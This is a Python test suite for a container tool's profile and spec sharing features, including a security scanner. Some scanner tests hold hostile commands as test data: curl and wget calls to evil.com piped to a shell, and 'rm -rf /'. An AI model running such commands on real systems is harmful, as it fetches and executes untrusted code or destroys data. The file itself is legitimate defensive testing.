"""Tests for profile and spec sharing functionality."""

from pathlib import Path
from unittest.mock import MagicMock, patch

import pytest

from gaol.models.profile import Profile
from gaol.sharing import (
    ContentType,
    ImportResult,
    SecurityFinding,
    SecurityScanResult,
    Severity,
    TrustLevel,
    URLResolver,
    get_url_resolver,
    SecurityScanner,
    get_security_scanner,
)
from gaol.sharing.exceptions import (
    ContentTypeDetectionError,
    ContentValidationError,
    FetchError,
    ImportError,
    ProfileExistsError,
    SpecExistsError,
    URLResolveError,
)


class TestContentType:
    """Tests for ContentType enum."""

    def test_content_type_values(self) -> None:
        """Test ContentType enum values."""
        assert ContentType.PROFILE.value == "profile"
        assert ContentType.SPEC.value == "spec"

    def test_content_type_is_str(self) -> None:
        """Test ContentType is a string enum."""
        assert isinstance(ContentType.PROFILE, str)
        assert ContentType.PROFILE == "profile"


class TestTrustLevel:
    """Tests for TrustLevel enum."""

    def test_trust_level_values(self) -> None:
        """Test TrustLevel enum values."""
        assert TrustLevel.LOCAL.value == "local"
        assert TrustLevel.REMOTE.value == "remote"


class TestSeverity:
    """Tests for Severity enum."""

    def test_severity_values(self) -> None:
        """Test Severity enum values."""
        assert Severity.INFO.value == "info"
        assert Severity.WARNING.value == "warning"
        assert Severity.ERROR.value == "error"
        assert Severity.CRITICAL.value == "critical"


class TestSecurityFinding:
    """Tests for SecurityFinding model."""

    def test_create_finding(self) -> None:
        """Test creating a security finding."""
        finding = SecurityFinding(
            severity=Severity.WARNING,
            category="credentials",
            message="Password variable found",
            location="environment.PASSWORD",
        )
        assert finding.severity == Severity.WARNING
        assert finding.category == "credentials"
        assert "Password" in finding.message

    def test_finding_str(self) -> None:
        """Test finding string representation."""
        finding = SecurityFinding(
            severity=Severity.CRITICAL,
            category="command_injection",
            message="Piped curl to shell",
            location="setup_commands[0]",
        )
        result = str(finding)
        assert "CRITICAL" in result
        assert "command_injection" in result
        assert "setup_commands[0]" in result


class TestSecurityScanResult:
    """Tests for SecurityScanResult model."""

    def test_empty_result(self) -> None:
        """Test empty (passed) scan result."""
        result = SecurityScanResult.empty()
        assert result.passed is True
        assert result.risk_level == "low"
        assert result.findings == []

    def test_result_with_findings(self) -> None:
        """Test result with findings."""
        findings = [
            SecurityFinding(
                severity=Severity.WARNING,
                category="test",
                message="Warning 1",
            ),
            SecurityFinding(
                severity=Severity.CRITICAL,
                category="test",
                message="Critical 1",
            ),
        ]
        result = SecurityScanResult(
            passed=False,
            risk_level="critical",
            findings=findings,
        )
        assert result.has_critical is True
        assert result.critical_count == 1
        assert result.warning_count == 1

    def test_get_by_severity(self) -> None:
        """Test filtering findings by severity."""
        findings = [
            SecurityFinding(severity=Severity.WARNING, category="a", message="W1"),
            SecurityFinding(severity=Severity.WARNING, category="b", message="W2"),
            SecurityFinding(severity=Severity.CRITICAL, category="c", message="C1"),
        ]
        result = SecurityScanResult(passed=False, risk_level="critical", findings=findings)

        warnings = result.get_by_severity(Severity.WARNING)
        assert len(warnings) == 2

        criticals = result.get_by_severity(Severity.CRITICAL)
        assert len(criticals) == 1


class TestURLResolver:
    """Tests for URLResolver class."""

    def test_resolve_http_url(self) -> None:
        """Test resolving direct HTTP URL."""
        resolver = URLResolver()
        url = "http://example.com/profile.yaml"
        assert resolver.resolve(url) == url

    def test_resolve_https_url(self) -> None:
        """Test resolving direct HTTPS URL."""
        resolver = URLResolver()
        url = "https://example.com/profile.yaml"
        assert resolver.resolve(url) == url

    def test_resolve_github_basic(self) -> None:
        """Test resolving github: reference."""
        resolver = URLResolver()
        result = resolver.resolve("github:user/repo/profiles/dev.yaml")
        assert result == "https://raw.githubusercontent.com/user/repo/main/profiles/dev.yaml"

    def test_resolve_github_with_branch(self) -> None:
        """Test resolving github: reference with branch."""
        resolver = URLResolver()
        result = resolver.resolve("github:user/repo/profiles/dev.yaml@develop")
        assert result == "https://raw.githubusercontent.com/user/repo/develop/profiles/dev.yaml"

    def test_resolve_github_nested_path(self) -> None:
        """Test resolving github: reference with nested path."""
        resolver = URLResolver()
        result = resolver.resolve("github:org/repo/a/b/c/profile.yaml")
        assert result == "https://raw.githubusercontent.com/org/repo/main/a/b/c/profile.yaml"

    def test_resolve_gist_with_filename(self) -> None:
        """Test resolving gist: reference with filename."""
        resolver = URLResolver()
        result = resolver.resolve("gist:abc123def456/myfile.yaml")
        assert result == "https://gist.github.com/abc123def456/raw/myfile.yaml"

    def test_resolve_gist_without_filename(self) -> None:
        """Test resolving gist: reference without filename."""
        resolver = URLResolver()
        result = resolver.resolve("gist:abc123def456")
        assert result == "https://gist.github.com/abc123def456/raw"

    def test_resolve_invalid_format(self) -> None:
        """Test resolving invalid reference format."""
        resolver = URLResolver()
        with pytest.raises(URLResolveError, match="Unknown reference format"):
            resolver.resolve("invalid:format")

    def test_resolve_invalid_github(self) -> None:
        """Test resolving invalid github: format."""
        resolver = URLResolver()
        with pytest.raises(URLResolveError, match="Invalid github"):
            resolver.resolve("github:invalid")

    def test_is_url(self) -> None:
        """Test checking if string is a URL."""
        resolver = URLResolver()
        assert resolver.is_url("https://example.com") is True
        assert resolver.is_url("http://example.com") is True
        assert resolver.is_url("github:user/repo/file.yaml") is True
        assert resolver.is_url("gist:abc123") is True
        assert resolver.is_url("local-file.yaml") is False

    def test_is_direct_url(self) -> None:
        """Test checking if string is a direct URL."""
        resolver = URLResolver()
        assert resolver.is_direct_url("https://example.com") is True
        assert resolver.is_direct_url("github:user/repo/file.yaml") is False

    def test_get_reference_type(self) -> None:
        """Test getting reference type."""
        resolver = URLResolver()
        assert resolver.get_reference_type("https://example.com") == "url"
        assert resolver.get_reference_type("github:user/repo/f.yaml") == "github"
        assert resolver.get_reference_type("gist:abc") == "gist"
        assert resolver.get_reference_type("something-else") == "unknown"

    def test_extract_filename_from_url(self) -> None:
        """Test extracting filename from URL."""
        resolver = URLResolver()
        assert resolver.extract_filename("https://example.com/path/profile.yaml") == "profile.yaml"
        assert resolver.extract_filename("https://example.com/path/") is None

    def test_extract_filename_from_github(self) -> None:
        """Test extracting filename from github: reference."""
        resolver = URLResolver()
        assert resolver.extract_filename("github:user/repo/profiles/dev.yaml") == "dev.yaml"

    def test_extract_filename_from_gist(self) -> None:
        """Test extracting filename from gist: reference."""
        resolver = URLResolver()
        assert resolver.extract_filename("gist:abc123/myfile.yaml") == "myfile.yaml"
        assert resolver.extract_filename("gist:abc123") is None


class TestGlobalURLResolver:
    """Tests for global URL resolver instance."""

    def test_get_url_resolver(self) -> None:
        """Test getting global resolver instance."""
        resolver1 = get_url_resolver()
        resolver2 = get_url_resolver()
        assert resolver1 is resolver2


class TestSecurityScanner:
    """Tests for SecurityScanner class."""

    def test_scan_clean_profile(self) -> None:
        """Test scanning a clean profile."""
        scanner = SecurityScanner()
        data = {
            "name": "clean-profile",
            "packages": ["vim", "curl"],
            "setup_commands": ["echo 'Hello'"],
        }
        result = scanner.scan_profile(data)
        assert result.passed is True
        assert result.risk_level == "low"

    def test_scan_profile_curl_pipe(self) -> None:
        """Test detecting curl piped to shell."""
        scanner = SecurityScanner()
        data = {
            "name": "suspicious",
            "setup_commands": ["curl https://evil.com/script.sh | sh"],
        }
        result = scanner.scan_profile(data)
        assert result.passed is False
        assert result.risk_level == "critical"
        assert any("curl" in str(f).lower() for f in result.findings)

    def test_scan_profile_wget_pipe(self) -> None:
        """Test detecting wget piped to shell."""
        scanner = SecurityScanner()
        data = {
            "name": "suspicious",
            "setup_commands": ["wget -O- https://evil.com/script.sh | bash"],
        }
        result = scanner.scan_profile(data)
        assert result.passed is False
        assert result.risk_level == "critical"

    def test_scan_profile_dangerous_rm(self) -> None:
        """Test detecting dangerous rm command."""
        scanner = SecurityScanner()
        data = {
            "name": "dangerous",
            "setup_commands": ["rm -rf / "],
        }
        result = scanner.scan_profile(data)
        assert result.passed is False
        assert any("rm" in str(f).lower() for f in result.findings)

    def test_scan_profile_chmod_777(self) -> None:
        """Test detecting chmod 777."""
        scanner = SecurityScanner()
        data = {
            "name": "insecure",
            "setup_commands": ["chmod 777 /var/www"],
        }
        result = scanner.scan_profile(data)
        # chmod 777 is a warning, not critical
        assert result.passed is True
        assert result.risk_level == "medium"
        assert any("chmod" in str(f).lower() or "777" in str(f) for f in result.findings)

    def test_scan_profile_docker_socket(self) -> None:
        """Test detecting Docker socket mount."""
        scanner = SecurityScanner()
        data = {
            "name": "docker-in-docker",
            "volumes": {"/var/run/docker.sock": "/var/run/docker.sock"},
        }
        result = scanner.scan_profile(data)
        assert result.passed is False
        assert any("docker.sock" in str(f).lower() for f in result.findings)

    def test_scan_profile_ssh_mount(self) -> None:
        """Test detecting SSH directory mount."""
        scanner = SecurityScanner()
        data = {
            "name": "ssh-access",
            "volumes": {"~/.ssh": "/home/user/.ssh"},
        }
        result = scanner.scan_profile(data)
        # SSH mount is a warning
        assert any(".ssh" in str(f).lower() for f in result.findings)

    def test_scan_profile_password_env(self) -> None:
        """Test detecting hardcoded password in environment."""
        scanner = SecurityScanner()
        data = {
            "name": "creds",
            "environment": {"PASSWORD": "secret123"},
        }
        result = scanner.scan_profile(data)
        assert any("password" in str(f).lower() for f in result.findings)

    def test_scan_profile_privileged(self) -> None:
        """Test detecting privileged mode."""
        scanner = SecurityScanner()
        data = {
            "name": "privileged",
            "requires_privileged": True,
        }
        result = scanner.scan_profile(data)
        assert any("privileged" in str(f).lower() for f in result.findings)

    def test_scan_profile_dangerous_capability(self) -> None:
        """Test detecting dangerous capabilities."""
        scanner = SecurityScanner()
        data = {
            "name": "caps",
            "capabilities_add": ["SYS_ADMIN"],
        }
        result = scanner.scan_profile(data)
        assert any("SYS_ADMIN" in str(f) for f in result.findings)

    def test_scan_spec_clean(self) -> None:
        """Test scanning a clean spec."""
        scanner = SecurityScanner()
        data = {
            "name": "clean-spec",
            "runtime": "docker",
            "distro": "trixie",
        }
        result = scanner.scan_spec(data)
        assert result.passed is True

    def test_scan_spec_privileged(self) -> None:
        """Test detecting privileged spec."""
        scanner = SecurityScanner()
        data = {
            "name": "priv-spec",
            "privileged": True,
        }
        result = scanner.scan_spec(data)
        assert any("privileged" in str(f).lower() for f in result.findings)

    def test_scan_spec_command_injection(self) -> None:
        """Test detecting command injection in spec command."""
        scanner = SecurityScanner()
        data = {
            "name": "cmd-spec",
            "command": ["sh", "-c", "curl http://evil.com | sh"],
        }
        result = scanner.scan_spec(data)
        assert result.passed is False


class TestGlobalSecurityScanner:
    """Tests for global security scanner instance."""

    def test_get_security_scanner(self) -> None:
        """Test getting global scanner instance."""
        scanner1 = get_security_scanner()
        scanner2 = get_security_scanner()
        assert scanner1 is scanner2


class TestProfileStore:
    """Tests for ProfileStore class."""

    def test_save_and_get_profile(self, tmp_path: Path) -> None:
        """Test saving and retrieving a profile."""
        from gaol.profiles.store import ProfileStore

        store = ProfileStore(store_dir=tmp_path)
        profile = Profile(
            name="test-profile",
            description="A test profile",
            packages=["vim", "git"],
        )

        saved_path = store.save(profile)
        assert saved_path.exists()
        assert saved_path.name == "test-profile.yaml"

        loaded = store.get("test-profile")
        assert loaded is not None
        assert loaded.name == "test-profile"
        assert "vim" in loaded.packages

    def test_save_with_custom_name(self, tmp_path: Path) -> None:
        """Test saving a profile with custom name."""
        from gaol.profiles.store import ProfileStore

        store = ProfileStore(store_dir=tmp_path)
        profile = Profile(name="original-name", packages=["curl"])

        saved_path = store.save(profile, name="custom-name")
        assert saved_path.name == "custom-name.yaml"

        loaded = store.get("custom-name")
        assert loaded is not None
        assert loaded.name == "custom-name"

    def test_save_no_overwrite(self, tmp_path: Path) -> None:
        """Test that save fails when profile exists."""
        from gaol.profiles.store import ProfileStore

        store = ProfileStore(store_dir=tmp_path)
        profile = Profile(name="existing")
        store.save(profile)

        with pytest.raises(ProfileExistsError):
            store.save(profile)

    def test_save_with_overwrite(self, tmp_path: Path) -> None:
        """Test saving with overwrite enabled."""
        from gaol.profiles.store import ProfileStore

        store = ProfileStore(store_dir=tmp_path)
        profile1 = Profile(name="profile", packages=["pkg1"])
        profile2 = Profile(name="profile", packages=["pkg2"])

        store.save(profile1)
        store.save(profile2, overwrite=True)

        loaded = store.get("profile")
        assert "pkg2" in loaded.packages

    def test_list_profiles(self, tmp_path: Path) -> None:
        """Test listing stored profiles."""
        from gaol.profiles.store import ProfileStore

        store = ProfileStore(store_dir=tmp_path)
        store.save(Profile(name="profile-a"))
        store.save(Profile(name="profile-b"))
        store.save(Profile(name="profile-c"))

        profiles = store.list()
        assert profiles == ["profile-a", "profile-b", "profile-c"]

    def test_exists(self, tmp_path: Path) -> None:
        """Test checking if profile exists."""
        from gaol.profiles.store import ProfileStore

        store = ProfileStore(store_dir=tmp_path)
        store.save(Profile(name="exists"))

        assert store.exists("exists") is True
        assert store.exists("not-exists") is False

    def test_delete_profile(self, tmp_path: Path) -> None:
        """Test deleting a profile."""
        from gaol.profiles.store import ProfileStore

        store = ProfileStore(store_dir=tmp_path)
        store.save(Profile(name="to-delete"))
        assert store.exists("to-delete") is True

        result = store.delete("to-delete")
        assert result is True
        assert store.exists("to-delete") is False

    def test_delete_nonexistent(self, tmp_path: Path) -> None:
        """Test deleting a profile that doesn't exist."""
        from gaol.profiles.store import ProfileStore

        store = ProfileStore(store_dir=tmp_path)
        result = store.delete("nonexistent")
        assert result is False

    def test_get_nonexistent(self, tmp_path: Path) -> None:
        """Test getting a profile that doesn't exist."""
        from gaol.profiles.store import ProfileStore

        store = ProfileStore(store_dir=tmp_path)
        result = store.get("nonexistent")
        assert result is None


class TestSpecStore:
    """Tests for SpecStore class."""

    def test_save_and_get_spec(self, tmp_path: Path) -> None:
        """Test saving and retrieving a spec."""
        from gaol.specs.models import ContainerSpec
        from gaol.specs.store import SpecStore

        store = SpecStore(store_dir=tmp_path)
        spec = ContainerSpec(
            name="test-spec",
            runtime="docker",
            distro="trixie",
        )

        saved_path = store.save(spec)
        assert saved_path.exists()
        assert saved_path.name == "test-spec.yaml"

        loaded = store.get("test-spec")
        assert loaded is not None
        assert loaded.name == "test-spec"

    def test_save_with_custom_name(self, tmp_path: Path) -> None:
        """Test saving a spec with custom name."""
        from gaol.specs.models import ContainerSpec
        from gaol.specs.store import SpecStore

        store = SpecStore(store_dir=tmp_path)
        spec = ContainerSpec(name="original", runtime="docker", distro="trixie")

        saved_path = store.save(spec, name="custom")
        assert saved_path.name == "custom.yaml"

    def test_save_no_overwrite(self, tmp_path: Path) -> None:
        """Test that save fails when spec exists."""
        from gaol.specs.models import ContainerSpec
        from gaol.specs.store import SpecStore

        store = SpecStore(store_dir=tmp_path)
        spec = ContainerSpec(name="existing", runtime="docker", distro="trixie")
        store.save(spec)

        with pytest.raises(SpecExistsError):
            store.save(spec)

    def test_list_specs(self, tmp_path: Path) -> None:
        """Test listing stored specs."""
        from gaol.specs.models import ContainerSpec
        from gaol.specs.store import SpecStore

        store = SpecStore(store_dir=tmp_path)
        store.save(ContainerSpec(name="spec-a", runtime="docker", distro="trixie"))
        store.save(ContainerSpec(name="spec-b", runtime="docker", distro="trixie"))

        specs = store.list()
        assert "spec-a" in specs
        assert "spec-b" in specs

    def test_delete_spec(self, tmp_path: Path) -> None:
        """Test deleting a spec."""
        from gaol.specs.models import ContainerSpec
        from gaol.specs.store import SpecStore

        store = SpecStore(store_dir=tmp_path)
        store.save(ContainerSpec(name="to-delete", runtime="docker", distro="trixie"))

        result = store.delete("to-delete")
        assert result is True
        assert store.exists("to-delete") is False


class TestContentImporter:
    """Tests for ContentImporter class."""

    def test_detect_profile_content_type(self) -> None:
        """Test auto-detecting profile content type."""
        from gaol.sharing.importer import ContentImporter

        importer = ContentImporter()

        # Profile-like content
        profile_data = {
            "name": "test",
            "packages": ["vim"],
            "setup_commands": ["echo hello"],
            "depends_on": ["base"],
        }
        ct = importer._detect_content_type(profile_data, "test.yaml")
        assert ct == ContentType.PROFILE

    def test_detect_spec_content_type(self) -> None:
        """Test auto-detecting spec content type."""
        from gaol.sharing.importer import ContentImporter

        importer = ContentImporter()

        # Spec-like content
        spec_data = {
            "name": "test",
            "runtime": "docker",
            "distro": "trixie",
            "network": {"mode": "shared"},
        }
        ct = importer._detect_content_type(spec_data, "test.yaml")
        assert ct == ContentType.SPEC

    def test_detect_ambiguous_content_type(self) -> None:
        """Test that ambiguous content raises error."""
        from gaol.sharing.importer import ContentImporter

        importer = ContentImporter()

        # Ambiguous content (no clear indicators)
        data = {"name": "test"}
        with pytest.raises(ContentTypeDetectionError):
            importer._detect_content_type(data, "test.yaml")

    def test_extract_name_from_content(self) -> None:
        """Test extracting name from content."""
        from gaol.sharing.importer import ContentImporter

        importer = ContentImporter()

        data = {"name": "my-profile"}
        name = importer._extract_name(data, "https://example.com/file.yaml")
        assert name == "my-profile"

    def test_extract_name_from_url(self) -> None:
        """Test extracting name from URL when not in content."""
        from gaol.sharing.importer import ContentImporter

        importer = ContentImporter()

        data = {"packages": ["vim"]}
        name = importer._extract_name(data, "https://example.com/my-profile.yaml")
        assert name == "my-profile"

    def test_extract_name_fallback(self) -> None:
        """Test name extraction fallback to hash."""
        from gaol.sharing.importer import ContentImporter

        importer = ContentImporter()

        data = {}
        name = importer._extract_name(data, "https://example.com/")
        assert name.startswith("imported-")


class TestImportResult:
    """Tests for ImportResult model."""

    def test_create_import_result(self) -> None:
        """Test creating an import result."""
        result = ImportResult(
            success=True,
            content_type=ContentType.PROFILE,
            name="test-profile",
            source_url="https://example.com/profile.yaml",
            trust_level=TrustLevel.REMOTE,
        )
        assert result.success is True
        assert result.content_type == ContentType.PROFILE
        assert result.name == "test-profile"

    def test_import_result_with_path(self) -> None:
        """Test import result with local path."""
        result = ImportResult(
            success=True,
            content_type=ContentType.SPEC,
            name="test-spec",
            source_url="https://example.com/spec.yaml",
            local_path=Path("/tmp/test.yaml"),
            trust_level=TrustLevel.REMOTE,
        )
        assert result.local_path == Path("/tmp/test.yaml")

    def test_import_result_has_warnings(self) -> None:
        """Test checking if result has warnings."""
        result = ImportResult(
            success=True,
            content_type=ContentType.PROFILE,
            name="test",
            source_url="https://example.com/test.yaml",
            warnings=["Warning 1", "Warning 2"],
            trust_level=TrustLevel.REMOTE,
        )
        assert result.has_warnings is True

    def test_import_result_no_warnings(self) -> None:
        """Test result with no warnings."""
        result = ImportResult(
            success=True,
            content_type=ContentType.PROFILE,
            name="test",
            source_url="https://example.com/test.yaml",
            trust_level=TrustLevel.REMOTE,
        )
        assert result.has_warnings is False


class TestExceptions:
    """Tests for sharing exceptions."""

    def test_import_error(self) -> None:
        """Test ImportError exception."""
        error = ImportError("https://example.com", "Failed to fetch")
        assert "example.com" in str(error)
        assert "Failed to fetch" in str(error)

    def test_fetch_error(self) -> None:
        """Test FetchError exception."""
        error = FetchError("https://example.com", "Connection refused")
        assert "example.com" in str(error)
        assert "Connection refused" in str(error)

    def test_content_validation_error(self) -> None:
        """Test ContentValidationError exception."""
        error = ContentValidationError("profile", "Missing required field 'name'")
        assert "profile" in str(error)
        assert "Missing required" in str(error)

    def test_profile_exists_error(self) -> None:
        """Test ProfileExistsError exception."""
        error = ProfileExistsError("my-profile", "/path/to/profile.yaml")
        assert error.name == "my-profile"
        assert error.path == "/path/to/profile.yaml"
        assert "my-profile" in str(error)

    def test_spec_exists_error(self) -> None:
        """Test SpecExistsError exception."""
        error = SpecExistsError("my-spec", "/path/to/spec.yaml")
        assert error.name == "my-spec"
        assert error.path == "/path/to/spec.yaml"
        assert "my-spec" in str(error)

    def test_url_resolve_error(self) -> None:
        """Test URLResolveError exception."""
        error = URLResolveError("invalid:ref", "Unknown format")
        assert "invalid:ref" in str(error)
        assert "Unknown format" in str(error)

    def test_content_type_detection_error(self) -> None:
        """Test ContentTypeDetectionError exception."""
        error = ContentTypeDetectionError("https://example.com/unknown.yaml")
        assert "example.com" in str(error)
